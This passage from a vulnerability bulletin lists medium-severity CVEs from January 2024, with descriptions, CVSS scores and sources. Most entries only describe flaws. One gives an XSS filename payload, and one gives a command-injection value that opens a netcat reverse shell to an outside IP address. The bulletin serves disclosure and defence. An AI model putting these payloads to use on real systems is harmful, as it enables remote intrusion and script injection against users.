hcl_software -- hcl_bigfix_osd_bare_metal_server_webui	HCL BigFix Bare OSD Metal Server WebUI version 311.19 or lower has missing or insecure tags that could allow an attacker to execute a malicious script on the user's browser.	2024-01-16	5.6	CVE-2023-37522 psirt@hcl.com

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
hcl_software -- hcl_bigfix_osd_bare_metal_server_webui	Missing or insecure tags in the HCL BigFix Bare OSD Metal Server WebUI version 311.19 or lower could allow an attacker to execute a malicious script on the user's browser.	2024-01-16	5.6	CVE-2023-37523 psirt@hcl.com
hitachi -- hitachi_device_manager	Generation of Error Message Containing Sensitive Information vulnerability in Hitachi Device Manager on Windows, Linux (Device Manager Agent modules). This issue affects Hitachi Device Manager: before 8.8.5-04.	2024-01-16	5.3	CVE-2023-49107 hirt@hitachi.co.jp
hitachi -- hitachi_device_manager	Missing Password Field Masking vulnerability in Hitachi Device Manager on Windows, Linux (Device Manager Agent component).This issue affects Hitachi Device Manager: before 8.8.5-04.	2024-01-16	4.6	CVE-2023-49106 hirt@hitachi.co.jp
hitachi -- hitachi_tuning_manager	Incorrect Default Permissions vulnerability in Hitachi Tuning Manager on Windows (Hitachi Tuning Manager server component) allows local users to read and write specific files.This issue affects Hitachi Tuning Manager: before 8.8.5-04.	2024-01-16	6.6	CVE-2023-6457 hirt@hitachi.co.jp
hongdian -- h8951-4g-esp_firmware	User browser may be forced to execute JavaScript and pass the authentication cookie to the attacker leveraging the XSS vulnerability located at "/gui/terminal_tool.cgi" in the "data" parameter.	2024-01-12	6.1	CVE-2023-49258
hongdian -- h8951-4g-esp_firmware	An XSS attack can be performed by changing the MOTD banner and pointing the victim to the "terminal_tool.cgi" path. It can be used together with the vulnerability CVE-2023-49255.	2024-01-12	6.1	CVE-2023-49260
huawei -- emui	Unauthorized file access vulnerability in the wallpaper service module. Successful exploitation of this vulnerability may cause features to perform abnormally.	2024-01-16	5.3	CVE-2023-52112 psirt@huawei.com psirt@huawei.com
huaxia-- erp	A vulnerability was found in Huaxia ERP up to 3.1. It has been rated as problematic. This issue affects some unknown processing of the file /user/getAllList. The manipulation leads to information disclosure. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 3.2 is able to address this issue. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-250595.	2024-01-13	5.3	CVE-2024-0490
huaxia-- erp	A vulnerability classified as problematic has been found in Huaxia ERP up to 3.1. Affected is an unknown function of the file src/main/java/com/jsh/erp/controller/UserController.java. The manipulation leads to weak password recovery. It is possible to launch the attack remotely. Upgrading to version 3.2 is able to address this issue. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-250596.	2024-01-13	5.3	CVE-2024-0491
hyperledger-archives -- ursa	Ursa is a cryptographic library for use with blockchains. The revocation schema that is part of the Ursa CL-Signatures implementations has a flaw that could impact the privacy guarantees defined by the AnonCreds verifiable credential model, allowing a malicious holder of a revoked credential to generate a valid Non-Revocation Proof for that credential as part of an AnonCreds presentation. A verifier may verify a credential from a holder as being "not revoked" when in fact, the holder's credential has been revoked. Ursa has moved to end-of-life status and no fix is expected.	2024-01-16	6.5	CVE-2024-21670
hypr -- hypr_workforce	Improper Link Resolution Before File Access ('Link Following') vulnerability in HYPR Workforce Access on Windows allows User-Controlled Filename.This issue affects Workforce Access: before 8.7.	2024-01-16	6.4	CVE-2023-6335 security@hypr.com
hypr -- workforce_access	Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in HYPR Workforce Access on Windows allows Overflow Buffers. This issue affects Workforce Access: before 8.7.	2024-01-16	5.3	CVE-2023-6334 security@hypr.com

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
ibm -- maximo_asset_management	IBM Maximo Asset Management 7.6.1.3 and Manage Component 8.10 through 8.11 is vulnerable to cross-site request forgery which could allow an attacker to execute malicious and unauthorized actions transmitted from a user that the website trusts. IBM X-Force ID: 271843.	2024-01-19	4.3	CVE-2023-47718
ibm -- maximo_spatial_asset_management	IBM Maximo Spatial Asset Management 8.10 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 255288.	2024-01-19	5.4	CVE-2023-32337
ibm -- openpages_with_watson	IBM OpenPages with Watson 8.3 and 9.0 could provide weaker than expected security in a OpenPages environment using Native authentication. If OpenPages is using Native authentication an attacker with access to the OpenPages database could through a series of specially crafted steps could exploit this weakness and gain unauthorized access to other OpenPages accounts. IBM X-Force ID: 262594.	2024-01-19	6.8	CVE-2023-38738
ibm -- sterling_control_center	IBM Sterling Control Center 6.3.0 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing "dot dot" sequences (/../) to view arbitrary files on the system. IBM X-Force ID: 257874.	2024-01-19	5.4	CVE-2023-35020
ibm -- storage_defender_data_protect	IBM Storage Defender - Data Protect 1.0.0 through 1.4.1 is vulnerable to HTTP header injection, caused by improper validation of input by the HOST headers. This could allow an attacker to conduct various attacks against the vulnerable system, including cross-site scripting, cache poisoning or session hijacking. IBM X-Force ID: 276101.	2024-01-19	6.5	CVE-2023-50963
idmsistemas -- sinergia_sinergia_2.0,_and_sinergia_corporativo	Omission of user-controlled key authorization in the IDMSistemas platform, affecting the QSige product. This vulnerability allows an attacker to extract sensitive information from the API by making a request to the parameter '/qsige.locator/quotePrevious/centers/X', where X supports values 1,2,3, etc.	2024-01-18	6.5	CVE-2024-0580
intel -- hid_event_filter	Insecure inherited permissions in some Intel HID Event Filter drivers for Windows 10 for some Intel NUC laptop software installers before version 2.2.2.1 may allow an authenticated user to potentially enable escalation of privilege via local access.	2024-01-19	6.7	CVE-2023-38541 secure@intel.com
intel -- intel_integrated_sensor_hub_(ish)_driver_for_windows_10_for_intel_nuc_p14e_laptop_element_software_installers	Incorrect default permissions in some Intel Integrated Sensor Hub (ISH) driver for Windows 10 for Intel NUC P14E Laptop Element software installers before version 5.4.1.4479 may allow an authenticated user to potentially enable escalation of privilege via local access.	2024-01-19	6.7	CVE-2023-29244 secure@intel.com
intel -- intel_nuc_bios_firmware	Improper buffer restrictions for some Intel NUC BIOS firmware before version IN0048 may allow a privileged user to potentially enable escalation of privilege via local access.	2024-01-19	6.7	CVE-2023-28722 secure@intel.com
intermesh -- groupoffice	Group-Office is an enterprise CRM and groupware tool. Affected versions are subject to a vulnerability which is present in the file upload mechanism of Group Office. It allows an attacker to execute arbitrary JavaScript code by embedding it within a file's name. For instance, using a filename such as "><img src=x onerror=prompt('XSS')>.jpg" triggers the vulnerability. When this file is uploaded, the JavaScript code within the filename is executed. This issue has been addressed in version 6.8.29. All users are advised to upgrade. There are no known workarounds for this vulnerability.	2024-01-18	6.5	CVE-2024-22418
jfinalcms-- jfinalcms	A stored XSS vulnerability exists in JFinalcms 5.0.0 via the /gusetbook/save contact parameter, which allows remote attackers to inject arbitrary web script or HTML.	2024-01-12	5.4	CVE-2024-22492

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
jfinalcms -- jfinalcms	A stored XSS vulnerability exists in JFinalcms 5.0.0 via the /gusetbook/save content parameter, which allows remote attackers to inject arbitrary web script or HTML.	2024-01-12	5.4	CVE-2024-22493
jfinalcms-- jfinalcms	A stored XSS vulnerability exists in JFinalcms 5.0.0 via the /gusetbook/save mobile parameter, which allows remote attackers to inject arbitrary web script or HTML.	2024-01-12	5.4	CVE-2024-22494
juniper -- junos	An Improper Check for Unusual or Exceptional Conditions vulnerability in Juniper DHCP Daemon (jdhcpd) of Juniper Networks Junos OS allows an adjacent, unauthenticated attacker to cause the jdhcpd to consume all the CPU cycles resulting in a Denial of Service (DoS). On Junos OS devices with forward-snooped-client configured, if an attacker sends a specific DHCP packet to a non-configured interface, this will cause an infinite loop. The DHCP process will have to be restarted to recover the service. This issue affects: Juniper Networks Junos OS * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S5; * 22.1 versions earlier than 22.1R3-S4; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R2-S2, 22.4R3; * 23.2 versions earlier than 23.2R2.	2024-01-12	6.5	CVE-2023-36842
juniper -- junos	An Improper Handling of Exceptional Conditions vulnerability in the broadband edge subscriber management daemon (bbe-smgd) of Juniper Networks Junos OS on MX Series allows an attacker directly connected to the vulnerable system who repeatedly flaps DHCP subscriber sessions to cause a slow memory leak, ultimately leading to a Denial of Service (DoS). Memory can only be recovered by manually restarting bbe-smgd. This issue only occurs if BFD liveness detection for DHCP subscribers is enabled. Systems without BFD liveness detection enabled are not vulnerable to this issue. Indication of the issue can be observed by periodically executing the 'show system processes extensive' command, which will indicate an increase in memory allocation for bbe-smgd. A small amount of memory is leaked every time a DHCP subscriber logs in, which will become visible over time, ultimately leading to memory starvation. user@junos> show system processes extensive | match bbe-smgd 13071 root 24 0 415M 201M select 0 0:41 7.28% bbe-smgd{bbe-smgd} 13071 root 20 0 415M 201M select 1 0:04 0.00% bbe-smgd{bbe-smgd} ... user@junos> show system processes extensive | match bbe-smgd 13071 root 20 0 420M 208M select 0 4:33 0.10% bbe-smgd{bbe-smgd} 13071 root 20 0 420M 208M select 0 0:12 0.00% bbe-smgd{bbe-smgd} ... This issue affects Juniper Networks Junos OS on MX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S5; * 22.1 versions earlier than 22.1R3-S4; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R2-S2, 22.4R3; * 23.2 versions earlier than 23.2R1-S1, 23.2R2.	2024-01-12	6.5	CVE-2024-21587
juniper -- junos	A Missing Release of Memory after Effective Lifetime vulnerability in the Packet Forwarding Engine (PFE) of Juniper Networks Junos OS on MX Series allows an adjacent, unauthenticated attacker to cause a Denial of Service (DoS). If an MX Series device receives PTP packets on an MPC3E that doesn't support PTP this causes a memory leak which will result in unpredictable behavior and ultimately in an MPC crash and restart. To monitor for this issue, please use the following FPC vty level commands: show heap shows an increase in "LAN buffer" utilization and show clksync ptp nbr-upd-info shows non-zero "Pending PFEs" counter. This issue affects Juniper Networks Junos OS on MX Series with MPC3E: * All versions earlier than 20.4R3-S3; * 21.1 versions earlier than 21.1R3-S4; * 21.2 versions earlier than 21.2R3; * 21.3 versions earlier than 21.3R2-S1, 21.3R3; * 21.4 versions earlier than 21.4R2; * 22.1 versions earlier than 22.1R2.	2024-01-12	6.5	CVE-2024-21599
juniper -- junos	An Improper Neutralization of Equivalent Special Elements vulnerability in the Packet Forwarding Engine (PFE) of Juniper Networks Junos OS on PTX Series allows a unauthenticated, adjacent attacker to cause a Denial of Service (DoS). When MPLS packets are meant to be sent to a flexible tunnel interface (FTI) and if the FTI tunnel is down, these will hit the reject NH, due to which the packets get sent to	2024-01-12	6.5	CVE-2024-21600

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	the CPU and cause a host path wedge condition. This will cause the FPC to hang and requires a manual restart to recover. Please note that this issue specifically affects PTX1000, PTX3000, PTX5000 with FPC3, PTX10002-60C, and PTX10008/16 with LC110x. Other PTX Series devices and Line Cards (LC) are not affected. The following log message can be seen when the issue occurs: Cmerror Op Set: Host Loopback: HOST LOOPBACK WEDGE DETECTED IN PATH ID <id> (URI: /fpc/<fpc>/pfe/<pfe>/cm/<cm>/Host_Loopback/<cm>/HOST_LOOPBACK_MAKE_CMERROR_ID[<id>]) This issue affects Juniper Networks Junos OS: * All versions earlier than 20.4R3-S8; * 21.1 versions earlier than 21.1R3-S4; * 21.2 versions earlier than 21.2R3-S6; * 21.3 versions earlier than 21.3R3-S3; * 21.4 versions earlier than 21.4R3-S5; * 22.1 versions earlier than 22.1R2-S2, 22.1R3; * 22.2 versions earlier than 22.2R2-S1, 22.2R3.			
juniper -- junos	An Improper Check for Unusual or Exceptional Conditions vulnerability in the kernel of Juniper Network Junos OS on MX Series allows a network based attacker with low privileges to cause a denial of service. If a scaled configuration for Source class usage (SCU) / destination class usage (DCU) (more than 10 route classes) is present and the SCU/DCU statistics are gathered by executing specific SNMP requests or CLI commands, a 'vmcore' for the RE kernel will be seen which leads to a device restart. Continued exploitation of this issue will lead to a sustained DoS. This issue only affects MX Series devices with MPC10, MPC11 or LC9600, and MX304. No other MX Series devices are affected. This issue affects Juniper Networks Junos OS: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S6; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3; * 22.1 versions earlier than 22.1R3; * 22.2 versions earlier than 22.2R2; * 22.3 versions earlier than 22.3R2.	2024-01-12	6.5	CVE-2024-21603
juniper -- junos	A Missing Release of Memory after Effective Lifetime vulnerability in Routing Protocol Daemon (RPD) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated, adjacent attacker to cause an rpd crash, leading to Denial of Service (DoS). On all Junos OS and Junos OS Evolved platforms, when traffic engineering is enabled for OSPF or ISIS, and a link flaps, a patroot memory leak is observed. This memory leak, over time, will lead to an rpd crash and restart. The memory usage can be monitored using the below command. user@host> show task memory detail | match patroot This issue affects: Juniper Networks Junos OS * All versions earlier than 21.2R3-S3; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S3; * 22.1 versions earlier than 22.1R3; * 22.2 versions earlier than 22.2R3. Juniper Networks Junos OS Evolved * All versions earlier than 21.3R3-S5-EVO; * 21.4 versions earlier than 21.4R3-EVO; * 22.1 versions earlier than 22.1R3-EVO; * 22.2 versions earlier than 22.2R3-EVO.	2024-01-12	6.5	CVE-2024-21613
juniper -- junos	An Incomplete Cleanup vulnerability in Nonstop active routing (NSR) component of Juniper Networks Junos OS allows an adjacent, unauthenticated attacker to cause memory leak leading to Denial of Service (DoS). On all Junos OS platforms, when NSR is enabled, a BGP flap will cause memory leak. A manual reboot of the system will restore the services. The memory usage can be monitored using the below commands. user@host> show chassis routing-engine no-forwarding user@host> show system memory | no-more This issue affects: Juniper Networks Junos OS * 21.2 versions earlier than 21.2R3-S5; * 21.3 versions earlier than 21.3R3-S4; * 21.4 versions earlier than 21.4R3-S4; * 22.1 versions earlier than 22.1R3-S2; * 22.2 versions earlier than 22.2R3-S2; * 22.3 versions earlier than 22.3R2-S1, 22.3R3; * 22.4 versions earlier than 22.4R1-S2, 22.4R2. This issue does not affect Junos OS versions earlier than 20.4R3-S7.	2024-01-12	6.5	CVE-2024-21617
juniper -- junos	An Improper Handling of Exceptional Conditions vulnerability in BGP session processing of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network-based attacker, using specific timing outside the attacker's control, to flap BGP sessions and cause the routing protocol daemon (rpd) process to crash and restart, leading to a Denial of Service (DoS) condition. Continued BGP session flapping will create a sustained Denial of Service (DoS)	2024-01-12	5.9	CVE-2024-21585

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	condition. This issue only affects routers configured with non-stop routing (NSR) enabled. Graceful Restart (GR) helper mode, enabled by default, is also required for this issue to be exploitable. Note: NSR is not supported on the SRX Series and is therefore not affected by this vulnerability. When the BGP session flaps on the NSR-enabled router, the device enters GR-helper/LLGR-helper mode due to the peer having negotiated GR/LLGR-restarter capability and the backup BGP requests for replication of the GR/LLGR-helper session, master BGP schedules, and initiates replication of GR/LLGR stale routes to the backup BGP. In this state, if the BGP session with the BGP peer comes up again, unsolicited replication is initiated for the peer without cleaning up the ongoing GR/LLGR-helper mode replication. This parallel two instances of replication for the same peer leads to the assert if the BGP session flaps again. This issue affects: Juniper Networks Junos OS * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S5; * 22.1 versions earlier than 22.1R3-S4; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S1; * 22.4 versions earlier than 22.4R2-S2, 22.4R3; * 23.2 versions earlier than 23.2R1-S1, 23.2R2. Juniper Networks Junos OS Evolved * All versions earlier than 21.3R3-S5-EVO; * 21.4 versions earlier than 21.4R3-S5-EVO; * 22.1 versions earlier than 22.1R3-S4-EVO; * 22.2 versions earlier than 22.2R3-S3-EVO; * 22.3 versions earlier than 22.3R3-S1-EVO; * 22.4 versions earlier than 22.4R2-S2-EVO, 22.4R3-EVO; * 23.2 versions earlier than 23.2R1-S1-EVO, 23.2R2-EVO.			
juniper -- junos	A Heap-based Buffer Overflow vulnerability in the Network Services Daemon (NSD) of Juniper Networks Junos OS allows authenticated, low privileged, local attacker to cause a Denial of Service (DoS). On an SRX 5000 Series device, when executing a specific command repeatedly, memory is corrupted, which leads to a Flow Processing Daemon (flowd) crash. The NSD process has to be restarted to restore services. If this issue occurs, it can be checked with the following command: user@host> request security policies check The following log message can also be observed: Error: policies are out of sync for PFE node<number>.fpc<number>.pic<number>. This issue affects: Juniper Networks Junos OS on SRX 5000 Series * All versions earlier than 20.4R3-S6; * 21.1 versions earlier than 21.1R3-S5; * 21.2 versions earlier than 21.2R3-S4; * 21.3 versions earlier than 21.3R3-S3; * 21.4 versions earlier than 21.4R3-S3; * 22.1 versions earlier than 22.1R3-S1; * 22.2 versions earlier than 22.2R3; * 22.3 versions earlier than 22.3R2.	2024-01-12	5.5	CVE-2024-21594
juniper -- junos	A Heap-based Buffer Overflow vulnerability in the Routing Protocol Daemon (RPD) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated, network based attacker to cause a Denial of Service (DoS). If an attacker sends a specific BGP UPDATE message to the device, this will cause a memory overwrite and therefore an RPD crash and restart in the backup Routing Engine (RE). Continued receipt of these packets will cause a sustained Denial of Service (DoS) condition in the backup RE. The primary RE is not impacted by this issue and there is no impact on traffic. This issue only affects devices with NSR enabled. This issue requires an attacker to have an established BGP session to a system affected by the issue. This issue affects both eBGP and iBGP implementations. This issue affects: Juniper Networks Junos OS * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S5; * 22.1 versions earlier than 22.1R3-S4; * 22.2 versions earlier than 22.2R3-S2; * 22.3 versions earlier than 22.3R3-S1; * 22.4 versions earlier than 22.4R2-S2, 22.4R3; * 23.1 versions earlier than 23.1R2; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. Juniper Networks Junos OS Evolved * All versions earlier than 21.3R3-S5-EVO; * 21.4-EVO versions earlier than 21.4R3-S5-EVO; * 22.1-EVO versions earlier than 22.1R3-S4-EVO; * 22.2-EVO versions earlier than 22.2R3-S2-EVO; * 22.3-EVO versions later than 22.3R1-EVO; * 22.4-EVO versions earlier than 22.4R2-S2-EVO, 22.4R3-EVO; * 23.1-EVO versions earlier than 23.1R2-EVO; * 23.2-EVO versions earlier than 23.2R1-S2-EVO, 23.2R2-EVO.	2024-01-12	5.3	CVE-2024-21596

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
juniper -- junos	A Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') vulnerability in the Flow-processing Daemon (flowd) of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a Denial-of-Service (Dos). On SRX Series devices when two different threads try to simultaneously process a queue which is used for TCP events flowd will crash. One of these threads can not be triggered externally, so the exploitation of this race condition is outside the attackers direct control. Continued exploitation of this issue will lead to a sustained DoS. This issue affects Juniper Networks Junos OS: * 21.2 versions earlier than 21.2R3-S5; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S4; * 22.1 versions earlier than 22.1R3-S3; * 22.2 versions earlier than 22.2R3-S1; * 22.3 versions earlier than 22.3R2-S2, 22.3R3; * 22.4 versions earlier than 22.4R2-S1, 22.4R3. This issue does not affect Juniper Networks Junos OS versions earlier than 21.2R1.	2024-01-12	5.9	CVE-2024-21601
juniper -- junos	An Unsupported Feature in the UI vulnerability in Juniper Networks Junos OS on MX Series and EX9200 Series allows an unauthenticated, network-based attacker to cause partial impact to the integrity of the device. If the "tcp-reset" option is added to the "reject" action in an IPv6 filter which matches on "payload-protocol", packets are permitted instead of rejected. This happens because the payload-protocol match criteria is not supported in the kernel filter causing it to accept all packets without taking any other action. As a fix the payload-protocol match will be treated the same as a "next-header" match to avoid this filter bypass. This issue doesn't affect IPv4 firewall filters. This issue affects Juniper Networks Junos OS on MX Series and EX9200 Series: * All versions earlier than 20.4R3-S7; * 21.1 versions earlier than 21.1R3-S5; * 21.2 versions earlier than 21.2R3-S5; * 21.3 versions earlier than 21.3R3-S4; * 21.4 versions earlier than 21.4R3-S4; * 22.1 versions earlier than 22.1R3-S2; * 22.2 versions earlier than 22.2R3-S2; * 22.3 versions earlier than 22.3R2-S2, 22.3R3; * 22.4 versions earlier than 22.4R1-S2, 22.4R2-S2, 22.4R3.	2024-01-12	5.3	CVE-2024-21607
jupyterlab -- jupyterlab	JupyterLab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook and Architecture. This vulnerability depends on user interaction by opening a malicious Markdown file using JupyterLab preview feature. A malicious user can access any data that the attacked user has access to as well as perform arbitrary requests acting as the attacked user. JupyterLab version 4.0.11 has been patched. Users are advised to upgrade. Users unable to upgrade should disable the table of contents extension.	2024-01-19	6.5	CVE-2024-22420
karjasoft -- sami_HTTP_server	A vulnerability was found in Karjasoft Sami HTTP Server 2.0. It has been classified as problematic. Affected is an unknown function of the component HTTP HEAD Rrequest Handler. The manipulation leads to denial of service. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250836.	2024-01-18	5.3	CVE-2021-4433
keap -- official_opt-in_forms	The Keap Official Opt-in Forms WordPress plugin through 1.0.11 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example, in multisite setup).	2024-01-15	4.8	CVE-2023-6941
kishorkhambu -- wp_custom_widget_area	The WP Custom Widget area WordPress plugin through 1.2.5 does not properly apply capability and nonce checks on any of its AJAX action callback functions, which could allow attackers with subscriber+ privilege to create, delete or modify menus on the site.	2024-01-15	4.3	CVE-2023-6066
lenovo -- lenovo_app_store_application	An incorrect permissions vulnerability was reported in the Lenovo App Store app that could allow an attacker to use system resources, resulting in a denial of service.	2024-01-19	5.5	CVE-2023-6450
lenovo -- tablet	A privilege escalation vulnerability was reported in some Lenovo tablet products that could allow local applications access to device identifiers and system commands.	2024-01-19	6.8	CVE-2023-5080

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
lenovo -- vantage	A privilege escalation vulnerability was reported in Lenovo Vantage that could allow a local attacker with physical access to impersonate Lenovo Vantage Service and execute arbitrary code with elevated privileges.	2024-01-19	6.3	CVE-2023-6044
lesterchan -- wp-postratings	The WP-PostRatings WordPress plugin before 1.86.1 does not sanitise the postratings_image parameter from its options page (wp-admin/admin.php?page=wp-postratings/postratings-options.php). Even though the page is only accessible to administrators, and protected against CSRF attacks, the issue is still exploitable when the unfiltered_html capability is disabled.	2024-01-16	4.8	CVE-2021-25117
linux -- kernel	A Null pointer dereference problem was found in ida_free in lib/idr.c in the Linux Kernel. This issue may allow an attacker using this library to cause a denial of service problem due to a missing check at a function return.	2024-01-15	6.5	CVE-2023-6915
linux -- kernel	An out-of-bounds memory read flaw was found in receive_encrypted_standard in fs/smb/client/smb2ops.c in the SMB Client sub-component in the Linux Kernel. This issue occurs due to integer underflow on the memcpy length, leading to a denial of service.	2024-01-15	6.8	CVE-2024-0565
linux -- kernel	A flaw was found in the Netfilter subsystem in the Linux kernel. The issue is in the nft_byteorder_eval() function, where the code iterates through a loop and writes to the `dst` array. On each iteration, 8 bytes are written, but `dst` is an array of u32, so each element only has space for 4 bytes. That means every iteration overwrites part of the previous element corrupting this array of u32. This flaw allows a local user to cause a denial of service or potentially break NetFilter functionality.	2024-01-18	6.6	CVE-2024-0607
linux -- kernel	NULL Pointer Dereference vulnerability in openEuler kernel on Linux (network modules) allows Pointer Manipulation. This vulnerability is associated with program files net/sched/sch_cbs.C. This issue affects openEuler kernel: from 4.19.90 before 4.19.90-2401.3.	2024-01-18	5.5	CVE-2021-33630
linux -- kernel	Integer Overflow or Wraparound vulnerability in openEuler kernel on Linux (filesystem modules) allows Forced Integer Overflow.This issue affects openEuler kernel: from 4.19.90 before 4.19.90-2401.3, from 5.10.0-60.18.0 before 5.10.0-183.0.0.	2024-01-18	5.5	CVE-2021-33631
linux -- kernel	An issue was discovered in drivers/input/input.c in the Linux kernel before 5.17.10. An attacker can cause a denial of service (panic) because input_set_capability mishandles the situation in which an event code falls outside of a bitmap.	2024-01-12	5.5	CVE-2022-48619
linux -- kernel	A flaw was found in the blkgs destruction path in block/blk-cgroup.c in the Linux kernel, leading to a cgroup blkio memory leakage problem. When a cgroup is being destroyed, cgroup_rstat_flush() is only called at css_release_work_fn(), which is called when the blkcg reference count reaches 0. This circular dependency will prevent blkcg and some blkgs from being freed after they are made offline. This issue may allow an attacker with a local access to cause system instability, such as an out of memory error.	2024-01-12	5.5	CVE-2024-0443
linux -- kernel	A denial of service vulnerability due to a deadlock was found in sctp_auto_asconf_init in net/sctp/socket.c in the Linux kernel's SCTP subsystem. This flaw allows guests with local user privileges to trigger a deadlock and potentially crash the system.	2024-01-17	4.7	CVE-2024-0639
linux -- kernel	A denial of service vulnerability was found in tipc_crypto_key_revoke in net/tipc/crypto.c in the Linux kernel's TIPC subsystem. This flaw allows guests with local user privileges to trigger a deadlock and potentially crash the system.	2024-01-17	4.7	CVE-2024-0641

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
macroturk_software_and_internet_technologies -- macro-bel	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Macroturk Software and Internet Technologies Macro-Bel allows Reflected XSS.This issue affects Macro-Bel: before V.1.0.1.	2024-01-18	6.1	CVE-2023-7153 iletisim@usom.gov.tr
magneticone -- cart2cart:_magento_to_woocommerce_migration	Missing Authorization vulnerability in MagneticOne Cart2Cart: Magento to WooCommerce Migration.This issue affects Cart2Cart: Magento to WooCommerce Migration: from n/a through 2.0.0.	2024-01-17	5.4	CVE-2023-34379
mailmunch -- constant_contact_forms	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in MailMunch Constant Contact Forms by MailMunch allows Stored XSS.This issue affects Constant Contact Forms by MailMunch: from n/a through 2.0.11.	2024-01-13	5.4	CVE-2024-22137
mediawiki -- mediawiki	An issue was discovered in the Cargo extension in MediaWiki before 1.35.14, 1.36.x through 1.39.x before 1.39.6, and 1.40.x before 1.40.2. The Special:Drilldown page allows XSS via artist, album, and position parameters because of applied filter values in drilldown/CargoAppliedFilter.php.	2024-01-12	6.1	CVE-2024-23173
mediawiki -- mediawiki	An issue was discovered in the WatchAnalytics extension in MediaWiki before 1.40.2. XSS can occur via the Special:PageStatistics page parameter.	2024-01-12	6.1	CVE-2024-23177
mediawiki -- mediawiki	An issue was discovered in the GlobalBlocking extension in MediaWiki before 1.40.2. For a Special:GlobalBlock?uselang=x-xss URI, i18n-based XSS can occur via the parentheses message. This affects subtitle links in buildSubtitleLinks.	2024-01-12	6.1	CVE-2024-23179
mediawiki -- mediawiki	An issue was discovered in the CampaignEvents extension in MediaWiki before 1.35.14, 1.36.x through 1.39.x before 1.39.6, and 1.40.x before 1.40.2. The Special:EventDetails page allows XSS via the x-xss language setting for internationalization (i18n).	2024-01-12	5.4	CVE-2024-23171
mediawiki -- mediawiki	An issue was discovered in the CheckUser extension in MediaWiki before 1.35.14, 1.36.x through 1.39.x before 1.39.6, and 1.40.x before 1.40.2. XSS can occur via message definitions. e.g., in SpecialCheckUserLog.	2024-01-12	5.4	CVE-2024-23172
mediawiki -- mediawiki	An issue was discovered in the PageTriage extension in MediaWiki before 1.35.14, 1.36.x through 1.39.x before 1.39.6, and 1.40.x before 1.40.2. XSS can occur via the rev-deleted-user, pagetriage-tags-quickfilter-label, pagetriage-triage, pagetriage-filter-date-range-format-placeholder, pagetriage-filter-date-range-to, pagetriage-filter-date-range-from, pagetriage-filter-date-range-heading, pagetriage-filter-set-button, or pagetriage-filter-reset-button message.	2024-01-12	5.4	CVE-2024-23174
mediawiki -- mediawiki	An issue was discovered in the Phonos extension in MediaWiki before 1.40.2. PhonosButton.js allows i18n-based XSS via the phonos-purge-needed-error message.	2024-01-12	5.4	CVE-2024-23178
miczflor -- rpi-jukebox-rfid	A vulnerability was found in MiczFlor RPi-Jukebox-RFID up to 2.5.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file userScripts.php of the component HTTP Request Handler. The manipulation of the argument folder with the input ;nc 104.236.1.147 4444 -e /bin/bash; leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251540. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-19	6.3	CVE-2024-0714
mock -- mock	The Mock software contains a vulnerability wherein an attacker could potentially exploit privilege escalation, enabling the execution of arbitrary code with root user privileges. This weakness stems from the absence of proper sandboxing during the expansion and execution of Jinja2 templates, which may be included in certain configuration parameters. While the Mock documentation advises treating users added to the mock group as privileged, certain build systems invoking mock on	2024-01-16	6.7	CVE-2023-6395

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
